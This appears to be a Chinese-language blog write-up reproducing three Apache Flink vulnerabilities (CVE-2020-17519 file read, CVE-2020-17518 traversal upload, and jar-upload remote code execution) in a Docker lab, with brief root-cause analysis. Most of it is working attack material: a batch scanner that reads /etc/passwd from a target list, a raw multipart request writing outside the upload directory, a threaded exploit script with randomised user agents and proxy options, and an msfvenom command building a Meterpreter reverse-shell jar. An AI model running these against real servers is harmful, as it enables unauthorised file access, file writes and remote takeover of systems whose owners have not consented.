Flink简介

Apache Flink 是高效和分布式的通用数据处理平台，由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎（简单来说，就是跟spark类似）。Flink 具有监控 API，可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard，同时也可用于自定义监控工具

默认监听端口（web页面）： 8081

flink web默认访问是不需要权限的。

flink的主要漏洞有下面的三个，可以上传jar getshell，任意文件读取，上传路径遍历

环境搭建

先搭建一个用来复现漏洞的环境，本次采用下面的环境来进行复现

首先下载这个项目，然后执行命令docker-compose up -d。安装以后正常启动docker。

访问8081页面，可以正常访问，说明环境正常

CVE-2020-17519 上传路径遍历读取任意文件

影响版本：1.11.0, 1.11.1, 1.11.2

Apache Flink 1.11.0中引入的更改（以及1.11.1和1.11.2中也发布）允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

POC

传入经过两次url编码的../

漏洞截图

漏洞原因分析

任意读取文件过程中的两次 urldecode 比较有意思，第一次decode产生 path，path 再次decode并切割产生tokens，path 会被当作路由进行匹配，而tokens会被当作最终的函数参数。

org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile 代码如下

如上图，filename 是直接从 tokens 中取出，直接拼接到 logDir 父目录下，由于 token 经过 2 次 url 解码，所以能够正常获取到 ../../ ，从而进行跨目录读

检测脚本

来自网络

#!/usr/bin/env python# coding:utf-8# author:B1anda0#affected versions are Apache Flink 1.11.0-1.11.2import requests,sys,coloramafrom colorama import *init(autoreset=True)banner='''\033[1;33;40m  _______      ________    ___   ___ ___   ___        __ ______ _____ __  ___   / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ |____  | ____/_ |/ _ \ | |     \ \  / /| |__ ______ ) | | | | ) | | | |______| |   / /| |__  | | (_) || |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |  / / |___ \ | |\__, || |____   \  /  | |____    / /_| |_| / /_| |_| |      | | / /   ___) || |  / /  \_____|   \/   |______|  |____|\___/____|\___/       |_|/_/   |____/ |_| /_/                                                                                                                                                 '''def verify():    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}    payload= '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd'     poc=urls+payload    try:        requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告        response=requests.get(poc,headers=headers,timeout=15,verify=False)        if response.status_code==200 and "root:x" in response.content:            print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(urls))            print(response.content)            #将漏洞地址输出在Vul.txt中            f=open('./vul.txt','a')            f.write(urls)            f.write('\n')        else:            print('\033[1;32;40m[-]{} None'.format(urls))    except:        print('{} request timeout'.format(urls))if __name__ == '__main__':    print (banner)    if len(sys.argv)!=2:        print('Example:python CVE-2020-17519.py urls.txt')    else:        file = open(sys.argv[1])        for url in file.readlines():            urls=url.strip()            if urls[-1]=='/':                urls=urls[:-1]            verify()        print ('Check Over')

影响版本：1.5.1-1.11.2

Apache Flink 1.5.1引入了REST处理程序，该处理程序允许您通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。

POC

来自网络

POST /jars/upload HTTP/1.1Host: localhost:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6YContent-Length: 187------WebKitFormBoundaryoZ8meKnrrso89R6YContent-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"success------WebKitFormBoundaryoZ8meKnrrso89R6Y--

漏洞截图

返回报错，但是实际上传成功了

漏洞成因

触发点在 org.apache.flink.runtime.rest.FileUploadHandler#channelRead0 ，部分函数如下

如上图，fileUpload 是用户可控的内容，则 filename 也是可控的，所以可以修改 filename 进行跨目录写操作

检测脚本

#-*- coding:utf-8 -*-banner = """        888888ba             dP                             88    `8b            88                            a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP         88   `8b. 88'  `88   88   Y8ooooo. 88    88         88    .88 88.  .88   88         88 88.  .88         88888888P `88888P8   dP   `88888P' `88888P'    ooooooooooooooooooooooooooooooooooooooooooooooooooooo                 @time:2021/01/06 CVE-2020-17518.py                C0de by NebulabdSec - @batsu                   """print(banner)import threadpoolimport randomimport requestsimport argparseimport http.clientimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)http.client.HTTPConnection._http_vsn = 10http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'payload_CMD  = '''test'''TARGET_URI = "/jars/upload'%2bsss"def get_ua():    first_num = random.randint(55, 62)    third_num = random.randint(0, 3200)    fourth_num = random.randint(0, 140)    os_type = [        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',        '(Macintosh; Intel Mac OS X 10_12_6)'    ]    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']                  )    return uadef CVE_2020_17518(url):    proxies = {"http":";}    # proxies = {"scoks5": ";}    paramsMultipart = [('jarfile',                        ('../../../../../tmp/test', "{}\r\n".format(payload_CMD), 'application/octet-stream'))]    headers = {        'User-Agent': get_ua(),        "Accept": "*/*"    }    targetUrl = url + TARGET_URI    try:        res = requests.post(targetUrl,                            files=paramsMultipart,                            headers=headers,                            timeout=15,                            verify=False,                            proxies=proxies)                            # proxies={'socks5': ';})        if  len(res.text) == 25 and "Not found" in res.text and "errors" in res.text:            print("[+] URL:{}--------可能存在CVE-2020-17518漏洞".format(url))            with open("存在漏洞地址.txt", 'a') as fw:                fw.write(url + '\n')        else:            print("[-] " + url + " 没有发现CVE-2020-17518漏洞.\n")    except Exception as e:        print(e)    except:        print("[-] " + url + " Request ERROR.\n")def multithreading(filename="ip.txt", pools=5):    works = []    with open(filename, "r") as f:        for i in f:            func_params = [i.rstrip("\n")]            works.append((func_params, None))    pool = threadpool.ThreadPool(pools)    reqs = threadpool.makeRequests(CVE_2020_17518, works)    [pool.putRequest(req) for req in reqs]    pool.wait()def main():    print("默认上传文件名为../../../../../tmp/test,内容为'''test'''")    parser = argparse.ArgumentParser()    parser.add_argument("-u",                        "--url",                        help="Target URL; Example:;)    parser.add_argument("-f",                        "--file",                        help="Url File; Example:url.txt")    args = parser.parse_args()    url = args.url    file_path = args.file    if url != None and file_path ==None:        CVE_2020_17518(url)    elif url == None and file_path != None:        multithreading(file_path, 10)  # 默认15线程if __name__ == "__main__":    main()

flink默认是没有访问权限的。该漏洞本质是一个反序列化漏洞，上传的jar会进行反序列化的操作。

影响版本：Apache Flink <= 1.9.1

漏洞复现

1.生成反弹jar包

msfvenom -p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444 -f jar > rce.jar

2.上传jar，并设置vps监听

3.点击sumbit就可以获取到webshell。我这台机器是高版本，报错没有获取到shell

from